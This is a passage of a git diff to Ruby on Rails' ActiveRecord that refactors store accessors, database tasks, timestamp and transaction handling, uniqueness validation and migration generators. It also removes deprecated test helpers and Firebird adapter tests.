+ def self.prepare(object, attribute)
+ object.public_send :"#{attribute}=", {} unless object.send(attribute)
+ end
+ end
+
+ class StringKeyedHashAccessor < HashAccessor
+ def self.read(object, attribute, key)
+ super object, attribute, key.to_s
+ end
+
+ def self.write(object, attribute, key, value)
+ super object, attribute, key.to_s, value
+ end
+ end
+
+ class IndifferentHashAccessor < ActiveRecord::Store::HashAccessor
+ def self.prepare(object, store_attribute)
+ attribute = object.send(store_attribute)
+ unless attribute.is_a?(ActiveSupport::HashWithIndifferentAccess)
+ attribute = IndifferentCoder.as_indifferent_hash(attribute)
+ object.send :"#{store_attribute}=", attribute
+ end
+ attribute
end
- attribute
end
class IndifferentCoder # :nodoc:
@@ -138,7 +178,7 @@ module ActiveRecord
end
def load(yaml)
- self.class.as_indifferent_hash @coder.load(yaml)
+ self.class.as_indifferent_hash(@coder.load(yaml || ''))
end
def self.as_indifferent_hash(obj)
diff --git a/activerecord/lib/active_record/tasks/database_tasks.rb b/activerecord/lib/active_record/tasks/database_tasks.rb
index 5ff594fdca..168b338b97 100644
--- a/activerecord/lib/active_record/tasks/database_tasks.rb
+++ b/activerecord/lib/active_record/tasks/database_tasks.rb
@@ -23,11 +23,12 @@ module ActiveRecord
# * +fixtures_path+: a path to fixtures directory.
# * +migrations_paths+: a list of paths to directories with migrations.
# * +seed_loader+: an object which will load seeds, it needs to respond to the +load_seed+ method.
+ # * +root+: a path to the root of the application.
#
# Example usage of +DatabaseTasks+ outside Rails could look as such:
#
# include ActiveRecord::Tasks
- # DatabaseTasks.database_configuration = YAML.load(File.read('my_database_config.yml'))
+ # DatabaseTasks.database_configuration = YAML.load_file('my_database_config.yml')
# DatabaseTasks.db_dir = 'db'
# # other settings...
#
@@ -35,9 +36,8 @@ module ActiveRecord
module DatabaseTasks
extend self
- attr_writer :current_config
- attr_accessor :database_configuration, :migrations_paths, :seed_loader, :db_dir,
- :fixtures_path, :env
+ attr_writer :current_config, :db_dir, :migrations_paths, :fixtures_path, :root, :env, :seed_loader
+ attr_accessor :database_configuration
LOCAL_HOSTS = ['127.0.0.1', 'localhost']
@@ -50,16 +50,36 @@ module ActiveRecord
register_task(/postgresql/, ActiveRecord::Tasks::PostgreSQLDatabaseTasks)
register_task(/sqlite/, ActiveRecord::Tasks::SQLiteDatabaseTasks)
+ def db_dir
+ @db_dir ||= Rails.application.config.paths["db"].first
+ end
+
+ def migrations_paths
+ @migrations_paths ||= Rails.application.paths['db/migrate'].to_a
+ end
+
+ def fixtures_path
+ @fixtures_path ||= File.join(root, 'test', 'fixtures')
+ end
+
+ def root
+ @root ||= Rails.root
+ end
+
+ def env
+ @env ||= Rails.env
+ end
+
+ def seed_loader
+ @seed_loader ||= Rails.application
+ end
+
def current_config(options = {})
options.reverse_merge! :env => env
if options.has_key?(:config)
@current_config = options[:config]
else
- @current_config ||= if ENV['DATABASE_URL']
- database_url_config
- else
- ActiveRecord::Base.configurations[options[:env]]
- end
+ @current_config ||= ActiveRecord::Base.configurations[options[:env]]
end
end
@@ -81,11 +101,7 @@ module ActiveRecord
each_current_configuration(environment) { |configuration|
create configuration
}
- ActiveRecord::Base.establish_connection environment
- end
-
- def create_database_url
- create database_url_config
+ ActiveRecord::Base.establish_connection(environment.to_sym)
end
def drop(*arguments)
@@ -106,10 +122,6 @@ module ActiveRecord
}
end
- def drop_database_url
- drop database_url_config
- end
-
def charset_current(environment = env)
charset ActiveRecord::Base.configurations[environment]
end
@@ -144,8 +156,23 @@ module ActiveRecord
class_for_adapter(configuration['adapter']).new(*arguments).structure_load(filename)
end
+ def load_schema(format = ActiveRecord::Base.schema_format, file = nil)
+ case format
+ when :ruby
+ file ||= File.join(db_dir, "schema.rb")
+ check_schema_file(file)
+ load(file)
+ when :sql
+ file ||= File.join(db_dir, "structure.sql")
+ check_schema_file(file)
+ structure_load(current_config, file)
+ else
+ raise ArgumentError, "unknown format #{format.inspect}"
+ end
+ end
+
def check_schema_file(filename)
- unless File.exists?(filename)
+ unless File.exist?(filename)
message = %{#{filename} doesn't exist yet. Run `rake db:migrate` to create it, then try again.}
message << %{ If you do not intend to use a database, you should instead alter #{Rails.root}/config/application.rb to limit the frameworks that will be loaded.} if defined?(::Rails)
Kernel.abort message
@@ -164,11 +191,6 @@ module ActiveRecord
private
- def database_url_config
- @database_url_config ||=
- ConnectionAdapters::ConnectionSpecification::Resolver.new(ENV["DATABASE_URL"], {}).spec.config.stringify_keys
- end
-
def class_for_adapter(adapter)
key = @tasks.keys.detect { |pattern| adapter[pattern] }
unless key
@@ -179,7 +201,8 @@ module ActiveRecord
def each_current_configuration(environment)
environments = [environment]
- environments << 'test' if environment == 'development'
+ # add test environment only if no RAILS_ENV was specified.
+ environments << 'test' if environment == 'development' && ENV['RAILS_ENV'].nil?
configurations = ActiveRecord::Base.configurations.values_at(*environments)
configurations.compact.each do |configuration|
diff --git a/activerecord/lib/active_record/tasks/mysql_database_tasks.rb b/activerecord/lib/active_record/tasks/mysql_database_tasks.rb
index 50569d2462..c755831e6d 100644
--- a/activerecord/lib/active_record/tasks/mysql_database_tasks.rb
+++ b/activerecord/lib/active_record/tasks/mysql_database_tasks.rb
@@ -134,8 +134,9 @@ IDENTIFIED BY '#{configuration['password']}' WITH GRANT OPTION;
args << "--password=#{configuration['password']}" if configuration['password']
args.concat(['--default-character-set', configuration['encoding']]) if configuration['encoding']
configuration.slice('host', 'port', 'socket').each do |k, v|
- args.concat([ "--#{k}", v ]) if v
+ args.concat([ "--#{k}", v.to_s ]) if v
end
+
args
end
end
diff --git a/activerecord/lib/active_record/tasks/postgresql_database_tasks.rb b/activerecord/lib/active_record/tasks/postgresql_database_tasks.rb
index 4413330fab..3d02ee07d0 100644
--- a/activerecord/lib/active_record/tasks/postgresql_database_tasks.rb
+++ b/activerecord/lib/active_record/tasks/postgresql_database_tasks.rb
@@ -59,7 +59,7 @@ module ActiveRecord
def structure_load(filename)
set_psql_env
- Kernel.system("psql -q -f #{filename} #{configuration['database']}")
+ Kernel.system("psql -q -f #{Shellwords.escape(filename)} #{configuration['database']}")
end
private
diff --git a/activerecord/lib/active_record/tasks/sqlite_database_tasks.rb b/activerecord/lib/active_record/tasks/sqlite_database_tasks.rb
index de8b16627e..5688931db2 100644
--- a/activerecord/lib/active_record/tasks/sqlite_database_tasks.rb
+++ b/activerecord/lib/active_record/tasks/sqlite_database_tasks.rb
@@ -3,7 +3,7 @@ module ActiveRecord
class SQLiteDatabaseTasks # :nodoc:
delegate :connection, :establish_connection, to: ActiveRecord::Base
- def initialize(configuration, root = Rails.root)
+ def initialize(configuration, root = ActiveRecord::Tasks::DatabaseTasks.root)
@configuration, @root = configuration, root
end
diff --git a/activerecord/lib/active_record/test_case.rb b/activerecord/lib/active_record/test_case.rb
deleted file mode 100644
index 1b4c473bfc..0000000000
--- a/activerecord/lib/active_record/test_case.rb
+++ /dev/null
@@ -1,96 +0,0 @@
-require 'active_support/test_case'
-
-ActiveSupport::Deprecation.warn('ActiveRecord::TestCase is deprecated, please use ActiveSupport::TestCase')
-module ActiveRecord
- # = Active Record Test Case
- #
- # Defines some test assertions to test against SQL queries.
- class TestCase < ActiveSupport::TestCase #:nodoc:
- def teardown
- SQLCounter.clear_log
- end
-
- def assert_date_from_db(expected, actual, message = nil)
- # SybaseAdapter doesn't have a separate column type just for dates,
- # so the time is in the string and incorrectly formatted
- if current_adapter?(:SybaseAdapter)
- assert_equal expected.to_s, actual.to_date.to_s, message
- else
- assert_equal expected.to_s, actual.to_s, message
- end
- end
-
- def assert_sql(*patterns_to_match)
- SQLCounter.clear_log
- yield
- SQLCounter.log_all
- ensure
- failed_patterns = []
- patterns_to_match.each do |pattern|
- failed_patterns << pattern unless SQLCounter.log_all.any?{ |sql| pattern === sql }
- end
- assert failed_patterns.empty?, "Query pattern(s) #{failed_patterns.map{ |p| p.inspect }.join(', ')} not found.#{SQLCounter.log.size == 0 ? '' : "\nQueries:\n#{SQLCounter.log.join("\n")}"}"
- end
-
- def assert_queries(num = 1, options = {})
- ignore_none = options.fetch(:ignore_none) { num == :any }
- SQLCounter.clear_log
- x = yield
- the_log = ignore_none ? SQLCounter.log_all : SQLCounter.log
- if num == :any
- assert_operator the_log.size, :>=, 1, "1 or more queries expected, but none were executed."
- else
- mesg = "#{the_log.size} instead of #{num} queries were executed.#{the_log.size == 0 ? '' : "\nQueries:\n#{the_log.join("\n")}"}"
- assert_equal num, the_log.size, mesg
- end
- x
- end
-
- def assert_no_queries(&block)
- assert_queries(0, :ignore_none => true, &block)
- end
-
- end
-
- class SQLCounter
- class << self
- attr_accessor :ignored_sql, :log, :log_all
- def clear_log; self.log = []; self.log_all = []; end
- end
-
- self.clear_log
-
- self.ignored_sql = [/^PRAGMA/, /^SELECT currval/, /^SELECT CAST/, /^SELECT @@IDENTITY/, /^SELECT @@ROWCOUNT/, /^SAVEPOINT/, /^ROLLBACK TO SAVEPOINT/, /^RELEASE SAVEPOINT/, /^SHOW max_identifier_length/, /^BEGIN/, /^COMMIT/]
-
- # FIXME: this needs to be refactored so specific database can add their own
- # ignored SQL, or better yet, use a different notification for the queries
- # instead examining the SQL content.
- oracle_ignored = [/^select .*nextval/i, /^SAVEPOINT/, /^ROLLBACK TO/, /^\s*select .* from all_triggers/im]
- mysql_ignored = [/^SHOW TABLES/i, /^SHOW FULL FIELDS/]
- postgresql_ignored = [/^\s*select\b.*\bfrom\b.*pg_namespace\b/im, /^\s*select\b.*\battname\b.*\bfrom\b.*\bpg_attribute\b/im, /^SHOW search_path/i]
- sqlite3_ignored = [/^\s*SELECT name\b.*\bFROM sqlite_master/im]
-
- [oracle_ignored, mysql_ignored, postgresql_ignored, sqlite3_ignored].each do |db_ignored_sql|
- ignored_sql.concat db_ignored_sql
- end
-
- attr_reader :ignore
-
- def initialize(ignore = Regexp.union(self.class.ignored_sql))
- @ignore = ignore
- end
-
- def call(name, start, finish, message_id, values)
- sql = values[:sql]
-
- # FIXME: this seems bad. we should probably have a better way to indicate
- # the query was cached
- return if 'CACHE' == values[:name]
-
- self.class.log_all << sql
- self.class.log << sql unless ignore =~ sql
- end
- end
-
- ActiveSupport::Notifications.subscribe('sql.active_record', SQLCounter.new)
-end
diff --git a/activerecord/lib/active_record/timestamp.rb b/activerecord/lib/active_record/timestamp.rb
index 9253150c4f..6c30ccab72 100644
--- a/activerecord/lib/active_record/timestamp.rb
+++ b/activerecord/lib/active_record/timestamp.rb
@@ -37,13 +37,13 @@ module ActiveRecord
end
def initialize_dup(other) # :nodoc:
- clear_timestamp_attributes
super
+ clear_timestamp_attributes
end
private
- def create_record
+ def _create_record
if self.record_timestamps
current_time = current_time_from_proper_timezone
@@ -57,7 +57,7 @@ module ActiveRecord
super
end
- def update_record(*args)
+ def _update_record(*args)
if should_record_timestamps?
current_time = current_time_from_proper_timezone
@@ -71,7 +71,7 @@ module ActiveRecord
end
def should_record_timestamps?
- self.record_timestamps && (!partial_writes? || changed? || (attributes.keys & self.class.serialized_attributes.keys).present?)
+ self.record_timestamps && (!partial_writes? || changed?)
end
def timestamp_attributes_for_create_in_model
@@ -98,8 +98,8 @@ module ActiveRecord
timestamp_attributes_for_create + timestamp_attributes_for_update
end
- def max_updated_column_timestamp
- if (timestamps = timestamp_attributes_for_update.map { |attr| self[attr] }.compact).present?
+ def max_updated_column_timestamp(timestamp_names = timestamp_attributes_for_update)
+ if (timestamps = timestamp_names.map { |attr| self[attr] }.compact).present?
timestamps.map { |ts| ts.to_time }.max
end
end
diff --git a/activerecord/lib/active_record/transactions.rb b/activerecord/lib/active_record/transactions.rb
index 62920d936f..17f76b63b3 100644
--- a/activerecord/lib/active_record/transactions.rb
+++ b/activerecord/lib/active_record/transactions.rb
@@ -6,9 +6,6 @@ module ActiveRecord
extend ActiveSupport::Concern
ACTIONS = [:create, :destroy, :update]
- class TransactionError < ActiveRecordError # :nodoc:
- end
-
included do
define_callbacks :commit, :rollback,
terminator: ->(_, result) { result == false },
@@ -220,8 +217,8 @@ module ActiveRecord
# after_commit :do_bar, on: :update
# after_commit :do_baz, on: :destroy
#
- # after_commit :do_foo_bar, :on [:create, :update]
- # after_commit :do_bar_baz, :on [:update, :destroy]
+ # after_commit :do_foo_bar, on: [:create, :update]
+ # after_commit :do_bar_baz, on: [:update, :destroy]
#
# Note that transactional fixtures do not play well with this feature. Please
# use the +test_after_commit+ gem to have these hooks fired in tests.
@@ -243,15 +240,14 @@ module ActiveRecord
def set_options_for_callbacks!(args)
options = args.last
if options.is_a?(Hash) && options[:on]
- assert_valid_transaction_action(options[:on])
- options[:if] = Array(options[:if])
fire_on = Array(options[:on])
+ assert_valid_transaction_action(fire_on)
+ options[:if] = Array(options[:if])
options[:if] << "transaction_include_any_action?(#{fire_on})"
end
end
def assert_valid_transaction_action(actions)
- actions = Array(actions)
if (actions - ACTIONS).any?
raise ArgumentError, ":on conditions for after_commit and after_rollback callbacks have to be one of #{ACTIONS.join(",")}"
end
@@ -277,6 +273,10 @@ module ActiveRecord
with_transaction_returning_status { super }
end
+ def touch(*) #:nodoc:
+ with_transaction_returning_status { super }
+ end
+
# Reset id and @new_record if the transaction rolls back.
def rollback_active_record_state!
remember_transaction_record_state
@@ -295,7 +295,7 @@ module ActiveRecord
def committed! #:nodoc:
run_callbacks :commit if destroyed? || persisted?
ensure
- clear_transaction_record_state
+ @_start_transaction_state.clear
end
# Call the +after_rollback+ callbacks. The +force_restore_state+ argument indicates if the record
@@ -304,6 +304,7 @@ module ActiveRecord
run_callbacks :rollback
ensure
restore_transaction_record_state(force_restore_state)
+ clear_transaction_record_state
end
# Add the record to the current transaction so that the +after_rollback+ and +after_commit+ callbacks
@@ -360,21 +361,20 @@ module ActiveRecord
# Restore the new record state and id of a record that was previously saved by a call to save_record_state.
def restore_transaction_record_state(force = false) #:nodoc:
unless @_start_transaction_state.empty?
- @_start_transaction_state[:level] = (@_start_transaction_state[:level] || 0) - 1
- if @_start_transaction_state[:level] < 1 || force
+ transaction_level = (@_start_transaction_state[:level] || 0) - 1
+ if transaction_level < 1 || force
restore_state = @_start_transaction_state
was_frozen = restore_state[:frozen?]
@attributes = @attributes.dup if @attributes.frozen?
@new_record = restore_state[:new_record]
@destroyed = restore_state[:destroyed]
if restore_state.has_key?(:id)
- self.id = restore_state[:id]
+ write_attribute(self.class.primary_key, restore_state[:id])
else
@attributes.delete(self.class.primary_key)
@attributes_cache.delete(self.class.primary_key)
end
@attributes.freeze if was_frozen
- @_start_transaction_state.clear
end
end
end
diff --git a/activerecord/lib/active_record/validations.rb b/activerecord/lib/active_record/validations.rb
index 26dca415ff..9999624fcf 100644
--- a/activerecord/lib/active_record/validations.rb
+++ b/activerecord/lib/active_record/validations.rb
@@ -60,6 +60,8 @@ module ActiveRecord
# Runs all the validations within the specified context. Returns +true+ if
# no errors are found, +false+ otherwise.
#
+ # Aliased as validate.
+ #
# If the argument is +false+ (default is +nil+), the context is set to <tt>:create</tt> if
# <tt>new_record?</tt> is +true+, and to <tt>:update</tt> if it is not.
#
@@ -71,6 +73,8 @@ module ActiveRecord
errors.empty? && output
end
+ alias_method :validate, :valid?
+
protected
def perform_validations(options={}) # :nodoc:
diff --git a/activerecord/lib/active_record/validations/presence.rb b/activerecord/lib/active_record/validations/presence.rb
index 6b14c39686..9a19483da3 100644
--- a/activerecord/lib/active_record/validations/presence.rb
+++ b/activerecord/lib/active_record/validations/presence.rb
@@ -5,7 +5,7 @@ module ActiveRecord
super
attributes.each do |attribute|
next unless record.class.reflect_on_association(attribute)
- associated_records = Array(record.send(attribute))
+ associated_records = Array.wrap(record.send(attribute))
# Superclass validates presence. Ensure present records aren't about to be destroyed.
if associated_records.present? && associated_records.all? { |r| r.marked_for_destruction? }
diff --git a/activerecord/lib/active_record/validations/uniqueness.rb b/activerecord/lib/active_record/validations/uniqueness.rb
index 52e46e1ffe..ee080451a9 100644
--- a/activerecord/lib/active_record/validations/uniqueness.rb
+++ b/activerecord/lib/active_record/validations/uniqueness.rb
@@ -13,6 +13,7 @@ module ActiveRecord
def validate_each(record, attribute, value)
finder_class = find_finder_class_for(record)
table = finder_class.arel_table
+ value = map_enum_attribute(finder_class, attribute, value)
value = deserialize_attribute(record, attribute, value)
relation = build_relation(finder_class, table, attribute, value)
@@ -48,10 +49,18 @@ module ActiveRecord
def build_relation(klass, table, attribute, value) #:nodoc:
if reflection = klass.reflect_on_association(attribute)
attribute = reflection.foreign_key
- value = value.attributes[reflection.primary_key_column.name]
+ value = value.attributes[reflection.primary_key_column.name] unless value.nil?
end
- column = klass.columns_hash[attribute.to_s]
+ attribute_name = attribute.to_s
+
+ # the attribute may be an aliased attribute
+ if klass.attribute_aliases[attribute_name]
+ attribute = klass.attribute_aliases[attribute_name]
+ attribute_name = attribute.to_s
+ end
+
+ column = klass.columns_hash[attribute_name]
value = klass.connection.type_cast(value, column)
value = value.to_s[0, column.limit] if value && column.limit && column.text?
@@ -59,8 +68,7 @@ module ActiveRecord
# will use SQL LOWER function before comparison, unless it detects a case insensitive collation
klass.connection.case_insensitive_comparison(table, attribute, column, value)
else
- value = klass.connection.case_sensitive_modifier(value) unless value.nil?
- table[attribute].eq(value)
+ klass.connection.case_sensitive_comparison(table, attribute, column, value)
end
end
@@ -83,6 +91,12 @@ module ActiveRecord
value = coder.dump value if value && coder
value
end
+
+ def map_enum_attribute(klass, attribute, value)
+ mapping = klass.defined_enums[attribute.to_s]
+ value = mapping[value] if value && mapping
+ value
+ end
end
module ClassMethods
@@ -166,11 +180,11 @@ module ActiveRecord
# WHERE title = 'My Post' |
# |
# | # User 2 does the same thing and also
- # | # infers that his title is unique.
+ # | # infers that their title is unique.
# | SELECT * FROM comments
# | WHERE title = 'My Post'
# |
- # # User 1 inserts his comment. |
+ # # User 1 inserts their comment. |
# INSERT INTO comments |
# (title, content) VALUES |
# ('My Post', 'hi!') |
@@ -196,9 +210,9 @@ module ActiveRecord
# exception. You can either choose to let this error propagate (which
# will result in the default Rails exception page being shown), or you
# can catch it and restart the transaction (e.g. by telling the user
- # that the title already exists, and asking him to re-enter the title).
- # This technique is also known as optimistic concurrency control:
- # http://en.wikipedia.org/wiki/Optimistic_concurrency_control.
+ # that the title already exists, and asking them to re-enter the title).
+ # This technique is also known as
+ # {optimistic concurrency control}[http://en.wikipedia.org/wiki/Optimistic_concurrency_control].
#
# The bundled ActiveRecord::ConnectionAdapters distinguish unique index
# constraint errors from other types of database errors by throwing an
diff --git a/activerecord/lib/active_record/version.rb b/activerecord/lib/active_record/version.rb
index de5fd05468..cf76a13b44 100644
--- a/activerecord/lib/active_record/version.rb
+++ b/activerecord/lib/active_record/version.rb
@@ -1,11 +1,8 @@
+require_relative 'gem_version'
+
module ActiveRecord
- # Returns the version of the currently loaded ActiveRecord as a Gem::Version
+ # Returns the version of the currently loaded ActiveRecord as a <tt>Gem::Version</tt>
def self.version
- Gem::Version.new "4.1.0.beta"
- end
-
- module VERSION #:nodoc:
- MAJOR, MINOR, TINY, PRE = ActiveRecord.version.segments
- STRING = ActiveRecord.version.to_s
+ gem_version
end
end
diff --git a/activerecord/lib/rails/generators/active_record.rb b/activerecord/lib/rails/generators/active_record.rb
index c8aa37f275..dc29213235 100644
--- a/activerecord/lib/rails/generators/active_record.rb
+++ b/activerecord/lib/rails/generators/active_record.rb
@@ -1,23 +1,17 @@
require 'rails/generators/named_base'
-require 'rails/generators/migration'
require 'rails/generators/active_model'
+require 'rails/generators/active_record/migration'
require 'active_record'
module ActiveRecord
module Generators # :nodoc:
class Base < Rails::Generators::NamedBase # :nodoc:
- include Rails::Generators::Migration
+ include ActiveRecord::Generators::Migration
# Set the current directory as base for the inherited generators.
def self.base_root
File.dirname(__FILE__)
end
-
- # Implement the required interface for Rails::Generators::Migration.
- def self.next_migration_number(dirname)
- next_migration_number = current_migration_number(dirname) + 1
- ActiveRecord::Migration.next_migration_number(next_migration_number)
- end
end
end
end
diff --git a/activerecord/lib/rails/generators/active_record/migration.rb b/activerecord/lib/rails/generators/active_record/migration.rb
new file mode 100644
index 0000000000..b7418cf42f
--- /dev/null
+++ b/activerecord/lib/rails/generators/active_record/migration.rb
@@ -0,0 +1,18 @@
+require 'rails/generators/migration'
+
+module ActiveRecord
+ module Generators # :nodoc:
+ module Migration
+ extend ActiveSupport::Concern
+ include Rails::Generators::Migration
+
+ module ClassMethods
+ # Implement the required interface for Rails::Generators::Migration.
+ def next_migration_number(dirname)
+ next_migration_number = current_migration_number(dirname) + 1
+ ActiveRecord::Migration.next_migration_number(next_migration_number)
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/rails/generators/active_record/migration/migration_generator.rb b/activerecord/lib/rails/generators/active_record/migration/migration_generator.rb
index 3968acba64..d3c853cfea 100644
--- a/activerecord/lib/rails/generators/active_record/migration/migration_generator.rb
+++ b/activerecord/lib/rails/generators/active_record/migration/migration_generator.rb
@@ -23,16 +23,16 @@ module ActiveRecord
case file_name
when /^(add|remove)_.*_(?:to|from)_(.*)/
@migration_action = $1
- @table_name = $2.pluralize
+ @table_name = normalize_table_name($2)
when /join_table/
if attributes.length == 2
@migration_action = 'join'
- @join_tables = attributes.map(&:plural_name)
+ @join_tables = pluralize_table_names? ? attributes.map(&:plural_name) : attributes.map(&:singular_name)
set_index_names
end
when /^create_(.+)/
- @table_name = $1.pluralize
+ @table_name = normalize_table_name($1)
@migration_template = "create_table_migration.rb"
end
end
@@ -61,6 +61,10 @@ module ActiveRecord
raise IllegalMigrationNameError.new(file_name)
end
end
+
+ def normalize_table_name(_table_name)
+ pluralize_table_names? ? _table_name.pluralize : _table_name.singularize
+ end
end
end
end
diff --git a/activerecord/test/cases/adapter_test.rb b/activerecord/test/cases/adapter_test.rb
index e28bb7b6ca..90953ce6cd 100644
--- a/activerecord/test/cases/adapter_test.rb
+++ b/activerecord/test/cases/adapter_test.rb
@@ -1,5 +1,7 @@
require "cases/helper"
require "models/book"
+require "models/post"
+require "models/author"
module ActiveRecord
class AdapterTest < ActiveRecord::TestCase
@@ -92,7 +94,7 @@ module ActiveRecord
)
end
ensure
- ActiveRecord::Base.establish_connection 'arunit'
+ ActiveRecord::Base.establish_connection :arunit
end
end
end
@@ -142,9 +144,9 @@ module ActiveRecord
@connection.execute "INSERT INTO subscribers(nick) VALUES('me')"
end
end
-
- def test_foreign_key_violations_are_translated_to_specific_exception
- unless @connection.adapter_name == 'SQLite'
+
+ unless current_adapter?(:SQLite3Adapter)
+ def test_foreign_key_violations_are_translated_to_specific_exception
assert_raises(ActiveRecord::InvalidForeignKey) do
# Oracle adapter uses prefetched primary key values from sequence and passes them to connection adapter insert method
if @connection.prefetch_primary_key?
@@ -155,6 +157,18 @@ module ActiveRecord
end
end
end
+
+ def test_foreign_key_violations_are_translated_to_specific_exception_with_validate_false
+ klass_has_fk = Class.new(ActiveRecord::Base) do
+ self.table_name = 'fk_test_has_fk'
+ end
+
+ assert_raises(ActiveRecord::InvalidForeignKey) do
+ has_fk = klass_has_fk.new
+ has_fk.fk_id = 1231231231
+ has_fk.save(validate: false)
+ end
+ end
end
def test_disable_referential_integrity
@@ -173,6 +187,36 @@ module ActiveRecord
end
end
end
+
+ def test_select_all_always_return_activerecord_result
+ result = @connection.select_all "SELECT * FROM posts"
+ assert result.is_a?(ActiveRecord::Result)
+ end
+
+ def test_select_methods_passing_a_association_relation
+ author = Author.create!(name: 'john')
+ Post.create!(author: author, title: 'foo', body: 'bar')
+ query = author.posts.select(:title)
+ assert_equal({"title" => "foo"}, @connection.select_one(query.arel, nil, query.bind_values))
+ assert_equal({"title" => "foo"}, @connection.select_one(query))
+ assert @connection.select_all(query).is_a?(ActiveRecord::Result)
+ assert_equal "foo", @connection.select_value(query)
+ assert_equal ["foo"], @connection.select_values(query)
+ end
+
+ def test_select_methods_passing_a_relation
+ Post.create!(title: 'foo', body: 'bar')
+ query = Post.where(title: 'foo').select(:title)
+ assert_equal({"title" => "foo"}, @connection.select_one(query.arel, nil, query.bind_values))
+ assert_equal({"title" => "foo"}, @connection.select_one(query))
+ assert @connection.select_all(query).is_a?(ActiveRecord::Result)
+ assert_equal "foo", @connection.select_value(query)
+ assert_equal ["foo"], @connection.select_values(query)
+ end
+
+ test "type_to_sql returns a String for unmapped types" do
+ assert_equal "special_db_type", @connection.type_to_sql(:special_db_type)
+ end
end
class AdapterTestWithoutTransaction < ActiveRecord::TestCase
@@ -182,30 +226,28 @@ module ActiveRecord
end
def setup
- Klass.establish_connection 'arunit'
+ Klass.establish_connection :arunit
@connection = Klass.connection
end
- def teardown
+ teardown do
Klass.remove_connection
end
- test "transaction state is reset after a reconnect" do
- skip "in-memory db doesn't allow reconnect" if in_memory_db?
-
- @connection.begin_transaction
- assert @connection.transaction_open?
- @connection.reconnect!
- assert !@connection.transaction_open?
- end
-
- test "transaction state is reset after a disconnect" do
- skip "in-memory db doesn't allow disconnect" if in_memory_db?
+ unless in_memory_db?
+ test "transaction state is reset after a reconnect" do
+ @connection.begin_transaction
+ assert @connection.transaction_open?
+ @connection.reconnect!
+ assert !@connection.transaction_open?
+ end
- @connection.begin_transaction
- assert @connection.transaction_open?
- @connection.disconnect!
- assert !@connection.transaction_open?
+ test "transaction state is reset after a disconnect" do
+ @connection.begin_transaction
+ assert @connection.transaction_open?
+ @connection.disconnect!
+ assert !@connection.transaction_open?
+ end
end
end
end
diff --git a/activerecord/test/cases/adapters/firebird/connection_test.rb b/activerecord/test/cases/adapters/firebird/connection_test.rb
deleted file mode 100644
index f57ea686a5..0000000000
--- a/activerecord/test/cases/adapters/firebird/connection_test.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-require "cases/helper"
-
-class FirebirdConnectionTest < ActiveRecord::TestCase
- def test_charset_properly_set
- fb_conn = ActiveRecord::Base.connection.instance_variable_get(:@connection)
- assert_equal 'UTF8', fb_conn.database.character_set
- end
-end
diff --git a/activerecord/test/cases/adapters/firebird/default_test.rb b/activerecord/test/cases/adapters/firebird/default_test.rb
deleted file mode 100644
index 713c7e11bf..0000000000
--- a/activerecord/test/cases/adapters/firebird/default_test.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-require "cases/helper"
-require 'models/default'
-
-class DefaultTest < ActiveRecord::TestCase
- def test_default_timestamp
- default = Default.new
- assert_instance_of(Time, default.default_timestamp)
- assert_equal(:datetime, default.column_for_attribute(:default_timestamp).type)
-
- # Variance should be small; increase if required -- e.g., if test db is on
- # remote host and clocks aren't synchronized.
- t1 = Time.new
- accepted_variance = 1.0
- assert_in_delta(t1.to_f, default.default_timestamp.to_f, accepted_variance)
- end
-end
diff --git a/activerecord/test/cases/adapters/firebird/migration_test.rb b/activerecord/test/cases/adapters/firebird/migration_test.rb
deleted file mode 100644
index 5c94593765..0000000000
--- a/activerecord/test/cases/adapters/firebird/migration_test.rb
+++ /dev/null
@@ -1,124 +0,0 @@
-require "cases/helper"
-require 'models/course'
-
-class FirebirdMigrationTest < ActiveRecord::TestCase
- self.use_transactional_fixtures = false
-
- def setup
- # using Course connection for tests -- need a db that doesn't already have a BOOLEAN domain
- @connection = Course.connection
- @fireruby_connection = @connection.instance_variable_get(:@connection)
- end
-
- def teardown
- @connection.drop_table :foo rescue nil
- @connection.execute("DROP DOMAIN D_BOOLEAN") rescue nil
- end
-
- def test_create_table_with_custom_sequence_name
- assert_nothing_raised do
- @connection.create_table(:foo, :sequence => 'foo_custom_seq') do |f|
- f.column :bar, :string
- end
- end
- assert !sequence_exists?('foo_seq')
- assert sequence_exists?('foo_custom_seq')
-
- assert_nothing_raised { @connection.drop_table(:foo) }
- assert !sequence_exists?('foo_custom_seq')
- ensure
- FireRuby::Generator.new('foo_custom_seq', @fireruby_connection).drop rescue nil
- end
-
- def test_create_table_without_sequence
- assert_nothing_raised do
- @connection.create_table(:foo, :sequence => false) do |f|
- f.column :bar, :string
- end
- end
- assert !sequence_exists?('foo_seq')
- assert_nothing_raised { @connection.drop_table :foo }
-
- assert_nothing_raised do
- @connection.create_table(:foo, :id => false) do |f|
- f.column :bar, :string
- end
- end
- assert !sequence_exists?('foo_seq')
- assert_nothing_raised { @connection.drop_table :foo }
- end
-
- def test_create_table_with_boolean_column
- assert !boolean_domain_exists?
- assert_nothing_raised do
- @connection.create_table :foo do |f|
- f.column :bar, :string
- f.column :baz, :boolean
- end
- end
- assert boolean_domain_exists?
- end
-
- def test_add_boolean_column
- assert !boolean_domain_exists?
- @connection.create_table :foo do |f|
- f.column :bar, :string
- end
-
- assert_nothing_raised { @connection.add_column :foo, :baz, :boolean }
- assert boolean_domain_exists?
- assert_equal :boolean, @connection.columns(:foo).find { |c| c.name == "baz" }.type
- end
-
- def test_change_column_to_boolean
- assert !boolean_domain_exists?
- # Manually create table with a SMALLINT column, which can be changed to a BOOLEAN
- @connection.execute "CREATE TABLE foo (bar SMALLINT)"
- assert_equal :integer, @connection.columns(:foo).find { |c| c.name == "bar" }.type
-
- assert_nothing_raised { @connection.change_column :foo, :bar, :boolean }
- assert boolean_domain_exists?
- assert_equal :boolean, @connection.columns(:foo).find { |c| c.name == "bar" }.type
- end
-
- def test_rename_table_with_data_and_index
- @connection.create_table :foo do |f|
- f.column :baz, :string, :limit => 50
- end
- 100.times { |i| @connection.execute "INSERT INTO foo VALUES (GEN_ID(foo_seq, 1), 'record #{i+1}')" }
- @connection.add_index :foo, :baz
-
- assert_nothing_raised { @connection.rename_table :foo, :bar }
- assert !@connection.tables.include?("foo")
- assert @connection.tables.include?("bar")
- assert_equal "index_bar_on_baz", @connection.indexes("bar").first.name
- assert_equal 100, FireRuby::Generator.new("bar_seq", @fireruby_connection).last
- assert_equal 100, @connection.select_one("SELECT COUNT(*) FROM bar")["count"]
- ensure
- @connection.drop_table :bar rescue nil
- end
-
